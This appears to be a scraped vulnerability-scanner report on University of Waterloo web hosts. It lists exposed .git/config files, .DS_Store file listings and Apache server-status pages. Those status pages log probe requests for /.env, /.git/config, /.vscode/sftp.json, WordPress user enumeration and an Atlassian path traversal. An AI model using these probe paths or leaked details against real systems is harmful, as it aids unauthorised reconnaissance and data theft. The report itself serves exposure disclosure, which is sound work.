2-144220640/51/154329W 0.39000.00.732092.23 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 3-14471950/127/141475W 1.86000.05.082097.75 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET / HTTP/1.1 4-14475401/115/141569C 2.22002.73.331928.67 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 5-14475490/117/142649W 4.03000.03.011848.51 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /info.php HTTP/1.1 6-144-0/0/140778. 2.5059700.00.001969.88 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 7-144261710/44/132320W 2.35000.01.291652.53 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 8-14475670/109/123486W 3.51000.02.141636.70 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 9-144-0/0/124137. 0.03258800.00.001525.80 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 10-14491410/90/96647W 2.66000.01.411183.73 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /server-status HTTP/1.1 11-14471940/147/57333_ 4.33000.04.88876.93 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /.git/config HTTP/1.1 12-140-0/0/38433. 0.90758700.00.00537.42 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 13-140-0/0/15455. 0.00759500.00.00330.57 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 14-140-0/0/6720. 0.00759400.00.00118.94 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 15-140-0/0/6448. 0.00759100.00.00179.00 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 16-143-0/0/6340. 2.65331400.00.00155.79 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 17-140-0/0/1223. 0.00758900.00.0020.30 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 18-139-0/0/329. 3.622344700.00.004.58 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 19-139-0/0/362. 0.002809100.00.006.87 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 20-139-0/0/598. 0.002809000.00.0011.90 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 21-139-0/0/1778. 0.002808000.00.0016.06 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 22-139-0/0/1913. 0.002808900.00.0016.85 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 23-139-0/0/468. 0.002808800.00.0010.11 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 24-139-0/0/267. 0.002808700.00.005.43 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 25-126-0/0/669. 5.7878245700.00.0014.13 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 26-126-0/0/98. 0.0078424000.00.001.13 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 27-124-0/0/16. 0.0085472000.00.000.71 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 28-124-0/0/394. 0.0085472400.00.006.61 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 29-124-0/0/88. 0.0085472300.00.000.92 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 30-124-0/0/455. 0.0085472500.00.006.42 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 31-124-0/0/1558. 0.0085472100.00.0010.11 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 32-124-0/0/66. 0.6685389300.00.001.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 33-124-0/0/262. 1.7385002200.00.007.67 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 34-124-0/0/231. 0.0085474700.00.004.88 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 35-124-0/0/9. 0.0085474600.00.000.10 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 36-124-0/0/250. 0.0085474500.00.004.84 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 37-124-0/0/9. 0.0085473500.00.000.15 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 38-124-0/0/12. 0.0085474400.00.000.11 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 39-124-0/0/8. 0.0085474300.00.000.03 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 40-124-0/0/8. 0.0085474200.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 41-99-0/0/2. 0.00168375400.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 42-99-0/0/2. 0.00168375300.00.000.00 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 43-99-0/0/2. 0.00168374800.00.000.02 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 44-99-0/0/2. 0.00168375200.00.000.03 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 45-99-0/0/3. 0.01168369500.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 46-99-0/0/2. 0.00168374500.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 47-99-0/0/2. 0.00168373500.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 48-99-0/0/2. 0.00168373400.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 49-99-0/0/835. 14.15164828600.00.004.07 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 50-99-0/0/2. 0.00168372400.00.000.00 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 51-99-0/0/2. 0.00168373000.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 52-99-0/0/2. 0.00168372900.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 53-99-0/0/2. 0.00168376500.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 54-99-0/0/1002. 18.53164180800.00.008.85 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 55-99-0/0/946. 14.83164378600.00.004.46
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a65227fd01d1f
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] fetch = +refs/heads/*:refs/remotes/origin/* url = gitlab@git.uwaterloo.ca:marianna.rapoport/plg.git [branch "master"] remote = origin merge = refs/heads/master [receive] denyCurrentBranch = ignore
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09cec7f8772ec7f87726a652bc97bda80394bb87ca18a6c0e42
Found 11 files trough .DS_Store spidering: /bash_profile /css /img /index.html /js /node_modules /package-lock.json /package.json /README.md /semantic /semantic.json
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c0215adfc0215adfcca2bd41b9e46a08d8177975e32362a0a
Found 4 files trough .DS_Store spidering: /ew /internal /istweb /software
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044baa2727ab8135b5bbc521bbbb5a571f6
[core] repositoryformatversion = 0 filemode = false bare = false logallrefupdates = true symlinks = false ignorecase = true [submodule] active = . [remote "origin"] url = https://github.com/KyleJMcMaster/desirelines-website.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "main"] remote = origin merge = refs/heads/main [lfs] repositoryformatversion = 0 //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImNvbmZpZyJdLCJzb3VyY2VzQ29udGVudCI6WyJbY29yZV1cblx0cmVwb3NpdG9yeWZvcm1hdHZlcnNpb24gPSAwXG5cdGZpbGVtb2RlID0gZmFsc2Vcblx0YmFyZSA9IGZhbHNlXG5cdGxvZ2FsbHJlZnVwZGF0ZXMgPSB0cnVlXG5cdHN5bWxpbmtzID0gZmFsc2Vcblx0aWdub3JlY2FzZSA9IHRydWVcbltzdWJtb2R1bGVdXG5cdGFjdGl2ZSA9IC5cbltyZW1vdGUgXCJvcmlnaW5cIl1cblx0dXJsID0gaHR0cHM6Ly9naXRodWIuY29tL0t5bGVKTWNNYXN0ZXIvZGVzaXJlbGluZXMtd2Vic2l0ZS5naXRcblx0ZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKlxuW2JyYW5jaCBcIm1haW5cIl1cblx0cmVtb3RlID0gb3JpZ2luXG5cdG1lcmdlID0gcmVmcy9oZWFkcy9tYWluXG5bbGZzXVxuXHRyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDBcbiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxDQUFDLElBQUksQ0FBQztBQUNOLENBQUMsdUJBQXVCLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDNUIsQ0FBQyxRQUFRLENBQUMsQ0FBQyxDQUFDLEtBQUs7QUFDakIsQ0FBQyxJQUFJLENBQUMsQ0FBQyxDQUFDLEtBQUs7QUFDYixDQUFDLGdCQUFnQixDQUFDLENBQUMsQ0FBQyxJQUFJO0FBQ3hCLENBQUMsUUFBUSxDQUFDLENBQUMsQ0FBQyxLQUFLO0FBQ2pCLENBQUMsVUFBVSxDQUFDLENBQUMsQ0FBQyxJQUFJO0FBQ2xCLENBQUMsU0FBUyxDQUFDO0FBQ1gsQ0FBQyxNQUFNLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDWCxDQUFDLE1BQU0sQ0FBQyxDQUFDLE1BQU0sQ0FBQyxDQUFDO0FBQ2pCLENBQUMsR0FBRyxDQUFDLENBQUMsQ0FBQyxLQUFLLENBQUMsQ0FBQyxDQUFDLE1BQU0sQ0FBQyxHQUFHLENBQUMsYUFBYSxDQUFDLFdBQVcsQ0FBQyxPQUFPLENBQUMsR0FBRztBQUMvRCxDQUFDLEtBQUssQ0FBQyxDQUFDLENBQUMsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLENBQUMsQ0FBQyxJQUFJLENBQUMsT0FBTyxDQUFDLE1BQU0sQ0FBQyxDQUFDO0FBQzVDLENBQUMsTUFBTSxDQUFDLENBQUMsSUFBSSxDQUFDLENBQUM7QUFDZixDQUFDLE1BQU0sQ0FBQyxDQUFDLENBQUMsTUFBTTtBQUNoQixDQUFDLEtBQUssQ0FBQyxDQUFDLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxJQUFJO0FBQ3hCLENBQUMsR0FBRyxDQUFDO0FBQ0wsQ0FBQyx1QkFBdUIsQ0FBQyxDQUFDLENBQUMsQ0FBQzsifQ==
The server-status page (usually /server-status) allows server administrators to find out how well their server is performing.
This is a HTML page that gives the current server statistics such as the server version, up time,cpu, ram, and information about requests made to the server.
This information can be very useful if the application is sent sensitive information as GET requests. If you monitor this page you might be able to find CSRF tokens, API keys, hidden paths, and other sensitive information being sent to the server.
https://medium.com/@ghostlulzhacks/apache-server-status-a70abed83f5a
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31767d2e40767d2e405752e94f
Apache Status Apache Server Status for rocketchat-new.cs.uwaterloo.ca (via 129.97.152.225) Server Version: Apache/2.4.52 (Ubuntu) OpenSSL/3.0.2 Server MPM: event Server Built: 2023-05-03T20:02:51 Current Time: Monday, 06-Nov-2023 22:51:45 UTC Restart Time: Monday, 06-Nov-2023 22:50:00 UTC Parent Server Config. Generation: 5 Parent Server MPM Generation: 4 Server uptime: 1 minute 44 seconds Server load: 0.10 0.08 0.03 Total accesses: 51 - Total Traffic: 73 kB - Total Duration: 4 CPU Usage: u.05 s.01 cu.02 cs.01 - .0865% CPU load .49 requests/sec - 718 B/second - 1465 B/request - .0784314 ms/request 1 requests currently being processed, 49 idle workers SlotPIDStoppingConnections ThreadsAsync connections totalacceptingbusyidlewritingkeep-aliveclosing 02173no0yes025000 12174no0yes124000 Sum200 149000 ___________________________W______________________.............. ................................................................ ...................... Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqDurConnChildSlotClientProtocolVHostRequest 0-421730/0/1_ 0.0012000.00.000.00 23.178.112.107http/1.1rocketchat-new.cs.uwaterloo.ca:GET /.well-known/acme-challenge/59sMMfUF-WSUjnJsSQxcWVdLzlia7ti 1-421740/1/4_ 0.032000.00.000.00 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /.env HTTP/1.1 1-421740/2/2_ 0.032020.00.020.02 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /.DS_Store HTTP/1.1 1-421741/0/2W 0.000000.00.000.00 46.101.103.192http/1.1rocketchat-new.cs.uwaterloo.ca:GET /server-status HTTP/1.1 1-421740/1/1_ 0.002000.00.000.00 46.101.103.192http/1.1 1-421740/0/2_ 0.002000.00.000.00 50.3.85.66http/1.1rocketchat.cs.uwaterloo.ca:443\x16\x03\x01 1-421740/2/2_ 0.031000.00.000.00 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /config.json HTTP/1.1 1-421740/1/2_ 0.032000.00.000.00 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /.git/config HTTP/1.1 1-421740/2/2_ 0.030000.00.000.00 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /_all_dbs HTTP/1.1 1-421740/0/2_ 0.000000.00.000.00 46.101.103.192http/1.1 1-421740/1/1_ 0.040000.00.000.00 46.101.103.192http/1.1rocketchat-new.cs.uwaterloo.ca:GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 1-421740/1/3_ 0.020000.00.000.00 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 1-421740/1/1_ 0.030000.00.000.00 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /login.action HTTP/1.1 1-421740/1/1_ 0.031000.00.020.02 46.101.103.192http/1.1rocketchat-new.cs.uwaterloo.ca:GET / HTTP/1.1 1-421740/0/1_ 0.000000.00.000.00 46.101.103.192http/1.1 1-421740/1/3_ 0.020000.00.000.00 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /server-status HTTP/1.1 1-421740/1/2_ 0.021000.00.000.00 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /v2/_catalog HTTP/1.1 1-421740/1/2_ 0.041000.00.000.00 46.101.103.192http/1.1rocketchat-new.cs.uwaterloo.ca:GET /about HTTP/1.1 1-421740/1/2_ 0.041000.00.000.00 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /?rest_route=/wp/v2/users/ HTTP/1.1 1-421740/2/4_ 0.031000.00.000.00 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /telescope/requests HTTP/1.1 1-421740/1/3_ 0.031000.00.010.01 46.101.103.192http/1.1rocketchat-new.cs.uwaterloo.ca:GET /.vscode/sftp.json HTTP/1.1 1-421740/1/1_ 0.040000.00.000.00 46.101.103.192http/1.1rocketchat-new.cs.uwaterloo.ca:GET /v2/_catalog HTTP/1.1 1-421740/1/2_ 0.012000.00.000.00 46.101.103.192http/1.1 1-421740/2/3_ 0.031000.00.000.00 139.144.150.23http/1.1rocketchat-new.cs.uwaterloo.ca:GET /s/532323e2235313e27393e2932313/_/;/META-INF/maven/com.atla 1-421740/1/2_ 0.040000.00.000.00 46.101.103.192http/1.1rocketchat-new.cs.uwaterloo.ca:GET /debug/default/view?panel=config HTTP/1.1 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request DurSum of milliseconds required to process all requests ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot SSL/TLS Session Cache Status: cache type: SHMCB, shared memory: 512000 bytes, current entries: 11subcaches: 32, indexes per subcache: 88time left on oldest entries' objects: avg: 297 seconds, (range: 295...299)index usage: 0%, cache usage: 0%total entries stored since starting: 11total entries replaced since starting: 0total entries expired since starting: 0total (pre-expiry) entries scrolled out of the cache: 0total retrieves since starting: 5 hit, 5 misstotal removes since starting: 0 hit, 0 miss Apache/2.4.52 (Ubuntu) Server at rocketchat-new.cs.uwaterloo.ca Port 443
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a652247142d1c
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/effgarces/BookedScheduler.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "develop"] remote = origin merge = refs/heads/develop
The server-status page (usually /server-status) allows server administrators to find out how well their server is performing.
This is a HTML page that gives the current server statistics such as the server version, up time,cpu, ram, and information about requests made to the server.
This information can be very useful if the application is sent sensitive information as GET requests. If you monitor this page you might be able to find CSRF tokens, API keys, hidden paths, and other sensitive information being sent to the server.
https://medium.com/@ghostlulzhacks/apache-server-status-a70abed83f5a
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb3172e4698472e4698498bdd82b
Apache Status Apache Server Status for pilots.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Wednesday, 22-Feb-2023 11:22:58 EST Restart Time: Monday, 19-Dec-2022 09:12:14 EST Parent Server Config. Generation: 145 Parent Server MPM Generation: 144 Server uptime: 65 days 2 hours 10 minutes 43 seconds Server load: 0.28 0.65 0.63 Total accesses: 1670685 - Total Traffic: 21.9 GB CPU Usage: u104.95 s46.39 cu0 cs0 - .00269% CPU load .297 requests/sec - 4187 B/second - 13.8 kB/request 10 requests currently being processed, 0 idle workers WWWWWW.WW.WW.................................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-144137000/91/158281W 1.77000.01.192044.55 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /?rest_route=/wp/v2/users/ HTTP/1.1 1-144289290/16/151589W 0.48000.00.121956.24 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /s/43e2932313e27393e2932313/_/;/META-INF/maven/com.atlassia 2-144220640/51/154329W 0.39000.00.732092.23 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 3-14471950/130/141478W 1.88000.05.152097.83 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /info.php HTTP/1.1 4-14475400/117/141571W 2.23000.03.401928.74 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /server-status HTTP/1.1 5-14475490/117/142649W 4.03000.03.011848.51 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /info.php HTTP/1.1 6-144-0/0/140778. 2.5059800.00.001969.88 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 7-144261710/44/132320W 2.35000.01.291652.53 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 8-14475670/109/123486W 3.51000.02.141636.70 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 9-144-0/0/124137. 0.03258800.00.001525.80 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 10-14491410/91/96648W 2.66000.01.441183.76 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 11-14471940/147/57333W 4.33000.04.88876.93 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /?rest_route=/wp/v2/users/ HTTP/1.1 12-140-0/0/38433. 0.90758800.00.00537.42 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 13-140-0/0/15455. 0.00759600.00.00330.57 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 14-140-0/0/6720. 0.00759500.00.00118.94 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 15-140-0/0/6448. 0.00759200.00.00179.00 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 16-143-0/0/6340. 2.65331400.00.00155.79 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 17-140-0/0/1223. 0.00759000.00.0020.30 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 18-139-0/0/329. 3.622344700.00.004.58 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 19-139-0/0/362. 0.002809100.00.006.87 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 20-139-0/0/598. 0.002809000.00.0011.90 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 21-139-0/0/1778. 0.002808000.00.0016.06 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 22-139-0/0/1913. 0.002808900.00.0016.85 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 23-139-0/0/468. 0.002808800.00.0010.11 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 24-139-0/0/267. 0.002808700.00.005.43 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 25-126-0/0/669. 5.7878245800.00.0014.13 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 26-126-0/0/98. 0.0078424100.00.001.13 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 27-124-0/0/16. 0.0085472100.00.000.71 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 28-124-0/0/394. 0.0085472500.00.006.61 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 29-124-0/0/88. 0.0085472400.00.000.92 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 30-124-0/0/455. 0.0085472600.00.006.42 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 31-124-0/0/1558. 0.0085472200.00.0010.11 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 32-124-0/0/66. 0.6685389300.00.001.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 33-124-0/0/262. 1.7385002300.00.007.67 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 34-124-0/0/231. 0.0085474800.00.004.88 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 35-124-0/0/9. 0.0085474700.00.000.10 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 36-124-0/0/250. 0.0085474600.00.004.84 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 37-124-0/0/9. 0.0085473600.00.000.15 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 38-124-0/0/12. 0.0085474500.00.000.11 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 39-124-0/0/8. 0.0085474400.00.000.03 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 40-124-0/0/8. 0.0085474300.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 41-99-0/0/2. 0.00168375400.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 42-99-0/0/2. 0.00168375300.00.000.00 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 43-99-0/0/2. 0.00168374800.00.000.02 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 44-99-0/0/2. 0.00168375200.00.000.03 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 45-99-0/0/3. 0.01168369500.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 46-99-0/0/2. 0.00168374500.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 47-99-0/0/2. 0.00168373500.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 48-99-0/0/2. 0.00168373400.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 49-99-0/0/835. 14.15164828700.00.004.07 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 50-99-0/0/2. 0.00168372400.00.000.00 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 51-99-0/0/2. 0.00168373000.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 52-99-0/0/2. 0.00168372900.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 53-99-0/0/2. 0.00168376500.00.000.01 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 54-99-0/0/1002. 18.53164180800.00.008.85 127.0.0.1http/1.1pilots.uwaterloo.ca:8080OPTIONS * HTTP/1.0 55-99-0/0/946. <
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c026392ab026392abd123df76c19261c18f6ffb4f318d3079
Found 7 files trough .DS_Store spidering: /_layouts /_posts /assets /assets/conferences /assets/images /assets/images/people /people
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: high
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a65225f32fc67
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = ssh://gitlab@git.uwaterloo.ca/mmosca/circuits.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c0215adfc0215adfcfc287fd58aaebe97d96e079b9cd3260f
Found 4 files trough .DS_Store spidering: /.htaccess /wp-admin /wp-content /wp-includes
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09cdafa5447dafa5447313a458f72ea8c0c27b1cad4356d3a62
Found 18 files trough .DS_Store spidering: /403.php /404.php /adobe /bonkoo /brian /dherman /eceofas /esag /frank /images /index.php /kernel /kmckay /mark.hancock /mark.smucker /q7he /stan.dimitrov /tools
Exposing Swagger/OpenAPI documentation is primarily a risk if your API has underlying security flaws, as it gives attackers a precise roadmap to find them.
